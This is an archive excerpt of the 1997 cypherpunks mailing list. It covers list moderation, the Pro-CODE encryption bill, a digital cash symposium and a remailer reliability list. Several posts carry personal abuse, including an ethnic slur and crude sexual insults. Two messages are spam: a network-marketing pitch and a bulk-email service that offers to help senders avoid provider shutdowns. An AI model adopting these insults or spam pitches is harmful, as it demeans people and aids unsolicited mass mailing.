Date: Sat, 1 Mar 1997 05:30:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <Pine.A41.3.95.970301000417.15342E-100000@freenet.edmonton.ab.ca>
Message-ID: <wk3V3D106w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:

> Toto you and Vulis need to go to talk sex pervert and stay out of this
> list.

Is that why Graham-John called me on the phone the other day? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Mar 1997 05:30:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: NWLibs> Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <199703010506.VAA09691@mail.pacifier.com>
Message-ID: <Hm3V3D107w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell <jimbell@pacifier.com> writes:
> >Objective journalism, my lily white butt.

Journalists are whores - just ask Declan "Censorship" McCullough.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Mar 1997 05:31:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <3317FAD6.6BCC@sk.sympatico.ca>
Message-ID: <so3V3D108w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Graham-John Bullers wrote:
> >
> > Toto you and Vulis need to go to talk sex pervert and stay out of this
> > list.
>
>   I visited your "Hack Crack and Preak" page, and I'm sure that you are

Does it have my Usenet cancelbot and my spambot? I guess the spambot's
still not finished, but I'm working on it...

> indeed a real 'Preak', not just another phony who claims to be a
> 'Preak'.
> I had an East Indian friend who thought most everyone was a real
> 'Preak'.
>   Speaking of which, I noticed that you had a pointer to "The Official
> Cypherpunks Home Page."
>
>   Thanks for the pointer, I certainly found it enlightening. Up until
> now, I didn't realize that Sammeer was the head CypherPunk, and the
> official host of our homepage.
>   It certainly makes me feel foolish for disputing his right to have his
> employees control the CypherPunks list and throw my posts in the
> garbage.
>   Silly me.

Is that why C2Net's "Anonymizer" doesn't anonymize?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Mar 1997 15:30:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <3.0.32.19970301100620.006bc290@pop.netaddress.com>
Message-ID: <imuw3D109w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Casey Iverson <iverson@usa.net> writes:

> At 07:22 PM 2/28/97 EST, Dr.Dimitri Vulis KOTM wrote:
> >I recall that when I was becoming a naturalized amcit circa 1986, I was aske
> >a single question: name the 2 senators of New York State. These were D'Amato
> >and Moynihan back then, and they still are.  I've heard of cases when the IN
> >didn't want someone to pass the exam, and they asked much harder questions
> >which some people actually flunked.
> >
> Biggest mistake the INS ever made was to allow a piece of Russian dung like
> *you* into the USA

Vladimir Il'yich Lenin said: the capitalists will sell us the ropes
on which we will hang them.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Mar 1997 19:20:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Russian Invasion
In-Reply-To: <3318B279.679F@sk.sympatico.ca>
Message-ID: <wqyw3D111w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Casey Iverson wrote:
> >
> > At 07:22 PM 2/28/97 EST, Dr.Dimitri Vulis KOTM wrote:
> > >I recall that when I was becoming a naturalized amcit circa 1986, I was as
> > >a single question: name the 2 senators of New York State. These were D'Ama
> > >and Moynihan back then, and they still are.  I've heard of cases when the
> > >didn't want someone to pass the exam, and they asked much harder questions
> > >which some people actually flunked.
> > >
>
> > Biggest mistake the INS ever made was to allow a piece of Russian dung like
> > *you* into the USA
>
>   It's a trick. A post-Reaganite desk jockey in Washington figured out
> that we could save millions of dollars in missle fuel by luring the
> Russians to the U.S. and 'then' nuking them.
>   Now, if we could only get them to all visit Congress at the same
> time...

You have reached the Central Intelligence Agency Web site - running
StrongHold.  All of our agents are busy right now.  Your session is
important to us. Please remain on the socket for the next available
operative.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 1 Mar 1997 22:48:27 -0800 (PST)
To: a whole bunch of places <rah@shipwright.com>
Subject: Electronic Cash
Message-ID: <v03020907af3eced7fe70@[207.42.133.129]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Thu, 27 Feb 97 18:16:03 EST
From: weffross@counsel.com (Walter A Effross -- American Univ. - Washington )
To: rah@shipwright.com
Subject: Electronic Cash



 To:	rah@shipwright.com		Inet


     Robert, I thought that you and the members of your group
would be interested in this Symposium.  Please feel free to send
the information around to whatever listservs you think
appropriate.
					Thanks!
						Walter
                                        THE ELECTRONIC FUTURE OF
CASH - A SYMPOSIUM

     The Washington College of  Law  and the American University
Law Review are proud to announce a full-day Symposium on the
Electronic Future of Cash, to be held at the law school in
Washington, DC on Friday, April 18, 1997 in connection with the
publication of a special Symposium issue of the Law Review on this
topic.

      The first panel, "The Technology of Electronic Cash," will
include: Newsweek columnist Steven Levy; Cybercash General Counsel
Russ Stevenson; Peter Wayner, author of Digital Cash: Commerce on
the Internet; Gary Lorenz, General Manager of the Diebold Campus
Systems Division; and a representative (invited) of the National
Security Agency.  This panel will examine the operation of stored
value cards and encryption techniques and will include a
demonstration of a "cyberpayment" made online with digital cash.

     The second panel, "Commentary on the Regulation of Electronic
Cash," brings together the authors of articles in the Symposium
issue (provided, with additional materials, to all registrants) to
review and recommend regulatory efforts from the viewpoints of
academics, practitioners, bankers, and consumer advocates.
Panelists include: Professor Mark Budnitz, Georgia State
University College of Law; Richard Field, Chair of the Electronic
Commerce Payment Committee of the American Bar Association;
Professor Egon Guttman, Washington College of Law; Professor David
Oedel, Mercer University Law School; Simon Lelieveldt, Senior
Policy Advisor, Payment Systems Policy Department, De
Nederlandsche Bank (the Dutch Central Bank); and Brian Smith of
Mayer, Brown & Platt.

     Dr. David Chaum, the founder and president of DigiCash, has
been invited to give a luncheon address.

     The third panel, "The Perspectives of the Regulators,"
includes: Thomas Baxter, Jr., General Counsel of the Federal
Reserve Bank of New York; William Kroener, General Counsel of the
Federal Deposit Insurance Corporation; Michael Billsma, Acting
Director, Community and Consumer Law, Office of the Comptroller of
the Currency; Stephen Kroll, Legal Counsel, Financial Crimes
Enforcement Network (FinCEN), United States Treasury Department;
Scott Charney, Chief, Computer Crime and Intellectual Property
Section, Criminal Justice Division, Department of Justice; John
Lopez, Counsel, Subcommittee on Domestic and International
Monetary Policy; Paul Glenn, Special Counsel, Office of Thrift
Supervision; and Lucy Morris, Assistant Director for Credit
Practices, Federal Trade Commission.

     A reception will follow.

     Registration fees (including lunch) are: $150 for
preregistrants; $175 for registration at the door; $100 for
Washington College of Law alumni; $80 for judges, law clerks, and
government employees; and $40 for full-time academics.     Please
register early, as space may be limited.

      For a registration form and more information, please contact
Professor Walter Effross, the Symposium's organizer and panel
moderator, at  (202) 274-4017, see our Symposium
website at
http://www.wcl.american.edu/pub/journals/lawrev/electronic_cash/con
f.htm, or email:
futurecash@wcl.american.edu.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Mar 1997 00:34:14 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: Depends / Re: Senate spams
In-Reply-To: <3.0.1.32.19970227011400.00deefe0@mail.io.com>
Message-ID: <33195684.620C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> At 07:27 PM 2/28/97 -0800, Toto wrote:

> >  Only asinine, dip-shit numbskulls would be capable of making this
> >idiotic extrapolation.

> Please sketch out the details of this "extrapolation".

  Simple enough. 
  Snow stated:
"given that there are [many some a-few] messages being sent to this list
that
are sent by non-human entities (bots, auto-replies, bounces etc.) is
there
a way to avoid propigating them."
  Which Greg extrapolated to suggest:
"Will you count Raph's remailer statistics as "machine generated" and
exclude them, too?"
  Which I suppose could be taken to yet another level of extrapolation
by asking the question,
"Will you count cc:'d messages as 'machine generated' and exclude them,
too?"
  After which it could be further extrapolated to ask,
"Will you count posts composed on computers as being 'machine generated'
and exclude them, too?"

  Greg, in his typical muddying of the waters, tries to twist the
thoughts
of others around to the extent that, if one followed Greg's logic to its
conclusion, one might believe snow is of the opinion that the "Welcome
to Cypherpunks" message should be deleted because it is auto-generated.
  If this is, indeed, the case, then I would expect snow would explain 
his reasons for thinking thusly.
 
> You cannot talk about spam (using the "inappropriate or off-topic message"
> definition, not the "posted too many times" definition) without talking
> about content.

  Once again, you are self-servingly using the C2nsorship definition of
spam, which is not common to any of the anti-spam forums that I follow.

  Of course content must be taken into consideration, even in the case
of auto-generated messages.
  Auto-generated messages, such as remailer information, can be on-topic
for the list. As far as I am concerned, posts by list subscribers cannot
possibly be off-topic, since it is up to the subscribers to decide what
they consider to be a suitable topic for the list.

> You are also talking about censorship based on content, but you don't seem
> to want to admit it.

  Another misrepresentation on your part.
  All moderation/censorship is based on content. I have always 
maintained, however, that a rational person is capable of looking
at the content, source, and destinations of a post and determining
if it is shotgun-spawned crapola and/or a mailbombing or denial
of service attack.

> >  Anyone who read my post to Igor, suggesting that I would have no
> >problem
> >with him intercepting autobot-replies that result from mailbomb attacks,
> >also knows that I suggested even the empty spam-messages being deleted
> >should be stored where they are open to scrutiny, and that I, for one,
> >would indeed be scrutinizing them.
> 
> Boy, this sounds like a really familiar system .. can't quite remember
> where I've seen it used before ..

  Well, you certainly didn't see it on the CypherPunks list. What was 
seen there was a fascist takeover of the list by a dictator who
relegated
posts he and his employer personally disliked to the flames list.

> There was some guy named Toto who wrote
> to me a few weeks ago,

  Try including specific quotes, Greg, even if they are out-of-context.
 
> >> I don't see anything morally wrong with deliberately altering the flow of
> >> messages to and through the list, but I think it's bad form to pretend not
> >> to be doing that.
> >
> >  Who is doing this, Greg? Name names. Give us an example of who is
> >doing this and pretending not to do it. Why are your claims so vague?
> 
> Because I'm interested in talking about ideas, not people.

  Not just because you were blowing smoke?

> I realize this
> may come as something of a surprise, but there are some circumstances where
> simply calling someone an "idiot" or a "liar" or saying that they've got
> their employers' sperm in their mouth is not a meaningful substitute for
> explaining why you think they're wrong.

  Never let it be said that I am one to let bad taste (pardon the pun)
stand
in the way of a cheap shot.
  And I do explain why I think you are not only wrong, but purposely 
attempting to misrepresent the stances taken by others.

  I will reiterate that I am of the belief that there should always be
a completely unmoderated, uncensored CypherPunks list, and that
additional,
filtered lists, should be merely a conjunction to that list, in the 
interests of spreading information regarding strong crypto in the
widest possible manner.
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 2 Mar 1997 08:09:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: New Product in beta: SecurText
Message-ID: <v0302091faf3f4afaddce@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Sat, 1 Mar 97 02:12:26 -0500
From: <softpub%toolz.UUCP@vec.net>
To: Softlist@vec.net
Subject: New Product in beta: SecurText

[Software Entrepreneur's Mailing List]
[p1198: Sat Mar  1 02:12:17 1997]
>From: "Wormhole Technologies, Inc." <Erik@wormhole-net.com>

We have been developing SecurText for over a year now and we finally have a
beta.  SecurText is an anti-hacker, anti-virus, e-mail enhanced network
product.  It is a versatile, elegant, easy-to-use alternative to PGP.  It
runs on Windows 3.1, 3.11, and Win 95.

Our commercial release will be fully S/MIME compliant, have built-in e-mail
functionality for totally seamless sending and receiving of secure messages
and attachments, and protect against viruses.

Check out our free beta at http://www.wormhole-net.com.  Note that, due to
export controls on encryption, this version does not give you military
strength encryption so do not use for actual privacy or security.  For the
actual, military strength version you must send me your name, US mailing
address, plus $3.50 for s/h, and I will send it to you.

Send to:
Wormhole Technologies, Inc.
(softpub member)
6 Ash Avenue
West Orange, NJ 07052

By the way, I would really like this beta circulated as much as possible
and to get as much feedback as possible.  Kindly provide me with an e-mail
address when you download and I'll send you a short questionnaire (just 6
questions).

Thanks.
---------------------------
Very truly yours,
ERIK P. WEINGOLD, President/CEO
Erik@wormhole-net.com

Wormhole Technologies, Inc.<tm>
keeping the net free with cryptography<tm>
http://www.wormhole-net.com


-- Send Software Entrepreneur's Mailing List postings to:
--   softpub@toolz.com
-- Send mailing list add/change/delete/gripes to:
--   softpub-request@toolz.com

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Barber <abarber@vgernet.net>
Date: Sun, 2 Mar 1997 07:37:35 -0800 (PST)
To: comtest@electrodata.com
Subject: Try It Before You Buy It!
Message-ID: <199703021536.KAA17331@vger.vgernet.net>
MIME-Version: 1.0
Content-Type: text/plain


 Imagine this: A network program that lets you:
   
              TRY IT BEFORE YOU BUY IT!
  
    This is unlike ANYTHING you have seen before.
    Like joining a network marketing program in
    reverse! You get to try it out, w/ no obligation,
    see if it works, and THEN decide if you want to
    participate in the actual money-making end of it!

  Best of all,  it COSTS YOU NOTHING!!!  It's totally free.
  Visit our Web-Site at:
  
 http://www.crt-enterprises.com/downline.htm   register FREE

 You have NOTHING to lose, and possibly EVERYTHING
  to gain!

Email abarber@vgernet.net, Put "FREE" in subject.

 Thank you 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 2 Mar 1997 09:53:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Pro-CODE Bill
Message-ID: <1.5.4.32.19970302174655.00703910@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We've put the new Senate Pro-CODE encryption bill
announced by VTR here last week at:

   http://jya.com/s377.htm  (23K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Mar 1997 17:24:17 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Depends / Re: Senate spams
In-Reply-To: <3.0.1.32.19970227011400.00deefe0@mail.io.com>
Message-ID: <331A422E.5BC5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:

[snip--left nut]
>  it would be nice
> to try to draw more of a connection between the ideas and ideals and
> the reality of the list, otherwise, we'll all wind up looking like
> hypocrites.  

  If I post missives misinterpreting your own words and intentions, then
you may no doubt be seen as a hypocrite to the gullible, or to those who
choose to limit their world view by reading my posts and killfiling
yours. In either case, I don't think this is a reason for you to lose
a lot of sleep.

> I personally don't see anything wrong with limiting
> postings to subscribers, as long as subscriptions are open to all.
> I also don't see anything wrong with warning a poster about commercial
> messages, or other technical problems such as attaching really huge
> files to go to the list, since all uncensored forums do this and
> everyone I know of agrees with it.

  To have this option seemed to me to be an area of common agreement 
among CypherPunks list subscribers at the time of the 'Laker's fans 
named Bubba' mailboming of the list via forged subscriptions to a 
sports forum.
  The attempts to label, as hypocrites, those who thereafter complained
about the fascist measures taken by self-appointed list saviors, are
nothing more than anal-retentive smoke blowing.

  I have an efficient ISP provider and can, for a reasonable price, not
worry about excessive download time, etc.
  The real-world reality is that there are those for whom paying to 
download the results of mailbomb attacks constitutes a denial of service
to them. There are undoubtedly also others whose financial and personal
time constraints may make a filtered version of the list attractive to
them, and thus lead to them retaining their interest in crypto issues,
instead of losing interest.
  I have not seen any of the anti-censorship elements in the CypherPunks
suggest that there should not be alternatives available for those whose
personal needs and/or interests are better served by various methods of
filtering. To attempt to force UCE/Spam on those ill-equipped to deal 
with it serves no purpose other than to lessen the number of people who
will have information in regard to the issues surrounding strong crypto.

> The "problem" here (if there is one) is determining SPAM and the like
> on a case-by-case basis.  Suggestions have been floated here, but as
> far as I know, none have been implemented.

  Igor has implemented spam-attack measures, and has been
straightforward
in both revealing these measures and asking for opinions in regard to
his actions and proposals.
  I do not anticipate Igor resorting to furtive methodologies in self-
servingly manipulating posts but, at the same time, I monitor what is
going on in the background of the various lists. I regard 'trust' as 
something that should be undertaken with one's eyes open, just the
same.

>  The real test, of course,
> is when deletions do occur, whether there are any complaints, and
> how those complaints are handled. 

  Thankfully, the CypherPunks list will likely never lack for paranoid
subscribers to raise warning flags whenever nefarious activities take
place in regard to the list (or when the computer 'burps', either).
  It is up to the individual subscriber to separate the realities from
the delusions. (I myself count on the space aliens to provide me with
advice and support from the messages I receive from them when the 
Scotch I drink shorts out the spaces between the mercury fillings in
my teeth. You may have a different method.)
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Mar 1997 17:57:35 -0800 (PST)
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: Pro-CODE Crypto Bill
In-Reply-To: <3.0.1.32.19970302111625.0314f5c0@mail.teleport.com>
Message-ID: <331A4CB4.6206@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Alan Olsen wrote: 
> At 12:47 PM 3/2/97 -0500, John Young wrote:
> >We've put the new Senate Pro-CODE encryption bill at:
> >   http://jya.com/s377.htm  (23K)

> There is an interesting addition to the bill that I have not seen discussed
> here yet.  The pro-code bill has added an "Information Security Board".  This
> provision worries me.  It sound like a nice little rubber hose committee.
> ("The House Committee on Unamerican Encryption"?)

> Any opinions on this new development?

  As long as Senator Charlie McCarthy is heading the committee, then I
can't foresee any problems.
  (But, for the record, I do not know Alan Olsen, and have never been
associated with him personally, or member of any group with which he is
associated.)

  Excuse me, I hear a pounding on the door... 
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Mar 1997 19:18:14 -0800 (PST)
To: cypherpunks@algebra.com
Subject: DES Challenge / Who'da Thunk It?
Message-ID: <331A5F88.1CD4@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


It seems that all of the efforts to meet the DES Challenge are being
sabotaged on one level or another.
The des-challenge@muffin.org group have never been able to fly on more
than one wing. The New Media Laboratories effort has been plagued by
rogue clients and its participants being subjected to varieties of 
interference/trojan-horses. Peter Trei's software has been appearing
on international servers, with bugs which don't match those in the
original source code. Pointers to BryDES software have turned out to
be misdirected, in many cases.

  I suspect that if the 'New Coke' had hired RSA's people, that we would
all be drinking their 'imitation Pepsi' product, instead of 'Classic 
Coke', as God intended us to do.
  Crayola had the foresight to call upon RSA's expertise, and, as a
result, the wool was pulled over the public's eyes and they came to
accept the 'new' colors, even though they are part of the 'plot'
against the Visual Illuminatti.

  Perhaps these new revelations will lead to people taking my posts to
this list more seriously in the future.
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Sun, 2 Mar 1997 19:08:25 -0800 (PST)
To: jya@pipeline.com
Subject: Re: Pro-CODE Bill
Message-ID: <01IG1JJZ4MCG8Y5BPD@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


	Upon looking over the bill in question
(helpfully provided in a more accessible location
by jya), I do have some concerns over whether it
allows for anonymous remailer export - it has a
provision stating

Nothing in this Act may be construed to affect any law intended to prevent the-

(2) illegal or unauthorized distribution or release of classified, confidential, or
	proprietary information; or

(3) enforcement of Federal or State criminal law.

Which causes some question in my mind whether it
would cover laws against or discouraging anonymous
remailers. (While the Supreme Court would probably
find outlawing anonymous remailers to be unconstitutional,
laws discouraging their export or other lesser forms of
harrassment might still pass muster, unfortunately.)
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Product Link <bulkemail@espmail.net>
Date: Sat, 1 Mar 1997 22:58:26 -0800 (PST)
Subject: We Will Send Your Bulk Email
Message-ID: <199703020700.XAA19322@server.ardennet.com>
MIME-Version: 1.0
Content-Type: text/plain




*If you want to be removed from our mailing list, please respond to this
email and put "Remove" in the subject line.


We will send out your bulk E Mail.  Period.  No qualifiers, no conditions,
no nonsense...and we'll do it at the best prices.

Call us as (805) 654-4042.

We are Product Link.  We are a business partner with a marketing 
company which develops buyers for its clients' products through electronic 
marketing; primarily broadcast fax.  Together, we have over a hundred clients, 
almost 10% of which are Fortune 500 companies.   We have numerous staff, 
and have just begun, at client request, to send high volumes of E Mail.

If you're new to bulk E Mail marketing, as we were a short time ago, I can
confirm that all the E Mails you've been getting from E Mail software
companies about how great E Mail marketing is; well, they're true.  However,
as those of you who have already purchased software and have tried bulk
E mail know, nothing good ever comes easy.

Our staff has spent millions of advertising dollars on our clients' behalf;
everything from commercials on the Superbowl to ads in the New York Times,
to full page spreads in Scientific American.; not to mention the sending
of over 1,000,000 marketing faxes a year for major corporations.

Bulk E mail has been quite an eye opener.

The Internet, the on line services and ISP providers are full of shrill,
self appointed "net cops," whose mission in life seems to be dumping on those
who have the audacity to sell product via E Mail.   I don't wish nor intend
to debate the issue here, except to say that if you've purchased bulk E Mail
software (or intend to), you've already found out that when you attempt to
use it, your ISP provider will shut you down, your E Mail account will be
bombed, and electronic flames will become a way of life.

Since we have a low tolerance for allowing small groups of vocal fanatics
to dictate our business life, we set up our own system to send out Bulk
E Mail.  This system will be greatly expanded in 30 days or so (we're
installing more T lines), but we currently have room on our system to send
out Bulk E Mail for a limited number of companies or individuals other
than ourselves.

We'll send out your order, large or small.  We'll do it quickly, and
we'll do it at a really great price.  You can supply the list, or we'll
supply the list.  Place an order with us, and we'll give you advice on
how to set up your E Mail so your on line service won't shut you down, how
to write your material, and much more.  We will also write your marketing
material, if you so desire. If you supply a list, we can run it through
our computer program to sort out all duplicates and bad AOL or CompuServe
addresses.  If you buy a list from us, we will guarantee that the exact
number of names you order will go out; if we send a list for you and a
number of addresses are not delivered, we will send out more E Mails until
you get delivered exactly what you ordered. We can even tell you how to
confirm that your list was sent.

We also have programs that can filter out E Mail "bombs" and other
irritating toys played with at your expense by people who don't
have a life.

When we first began exploring bulk E mail, we contacted numerous firms
advertising that they would send out bulk E mail.  What we got was
answering machines, disconnected numbers, and no call backs.  The one firm
that did contract us would only send limited numbers of E mails for
us, and then only if we had already sent the list out once and taken off all
the removes (go figure...if we could send out the list once, what did we
need them for?).  We finally got so exasperated, we set up our own system.
And are we glad we did.  Speaking as a marketing man with over 30 years
experience in major advertising, E Mail marketing will change the face of
advertising and cost of sale forever.  I do not believe that has ever been
a vehicle like it in history to allow anyone of any size and any budget to
advertise and sell their products literally overnight.  We employ 18 people,
and I guarantee you that when you contact us as (805) 654-4042, you'll get a call back.
Right away.  And the office phone number we give you, will have a live
person at the other end.

Following is a price list to give you an idea of the 
quality of our company.  Please bear in mind that Bulk E Mail is 
effective in large numbers; i.e., 25,000 and above.

Price List To Send Bulk E Mail:

Amount			Cost		Set Up (One Time Fee)

25,000			$150.00		$50.00		

50,000			$275.00		$50.00

75,000			$400.00		$50.00

100,000			$550.00		$50.00		


Bulk E Mail amounts above 100,000 per sending will be bid on a 
case by case basis.  If  you wish to modem us a list, there may be a 
small charge for down load depending on list size.  We can provide a
list for you at a nominal charge.  If you wish us to  "clean" your list 
(remove all duplicates and bad addresses), we will  supply a 
bid on a case by case basis as with writing your marketing materials and 
other services.

If we may be of service to you, please call us directly at 
(805) 654-4042.  Thank you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Sun, 2 Mar 1997 20:00:25 -0800 (PST)
To: EALLENSMITH@ocelot.Rutgers.EDU
Subject: Re: Pro-CODE Bill
Message-ID: <01IG1LER3AIU8Y5BPD@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


The following provision also causes me some doubts about
exactly what will be allowed for export:

(B) Exception.--The Secretary shall prohibit the
        export or reexport of particular
        software and computer hardware described in
        this subsection to an identified individual or
	organization in a specific foreign country if the
	Secretary determines that there is substantial
	evidence that such software and computer
	hardware will be--

(iv) intentionally used to evade
	enforcement of United States law or
	taxation by the United States or by
	any State or local government.

which could be construed to cover anonymous remailers,
fully anonymous digital cash, anything set up to verify
gambling fairness, and various other things of interest
to Cypherpunks (including the use of PGP by, say, a drug
"kingpin"). Admittedly, the "identified individual
or organization in a specific foreign country" will
help in limiting this application.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Mar 1997 23:25:53 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Depends / Re: Senate spams
In-Reply-To: <199703030651.AAA01558@smoke.suba.com>
Message-ID: <331A7D73.5CEA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:

>         I think that any reasonable person could assume that missives f
> from "mailer-daemon" could safely be excluded from the list. It is doubtful
> that anyone out there has such a login, and if they do, well, it is stupid
> enough that ignoring it would be doing them a favor (After a while they
> _might_ get the idea that no one with a clue SENDS mail  "mailer-deamon",
> and change their login.

  I'd like to see a show of hands to see how many list members have 
received any posts from nancy.net/sally.net/conentric.net that they
didn't personally delete without reading.
  These people don't seem to realize that the CypherPunks aren't 
interested in finding out how to "Make Big $$$ At Home, Licking Your
Own Dick", because we do it anyway, without any expectations other 
than our own, personal reward.

  I do find snow's post rather embarassing, however, since I just sent 
an email asking mailer-daemon to marry me.
  It's bad enough being rejected, but being auto-rejected really cuts
to the bone.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 3 Mar 1997 06:50:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199703031450.GAA06460@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord ?";
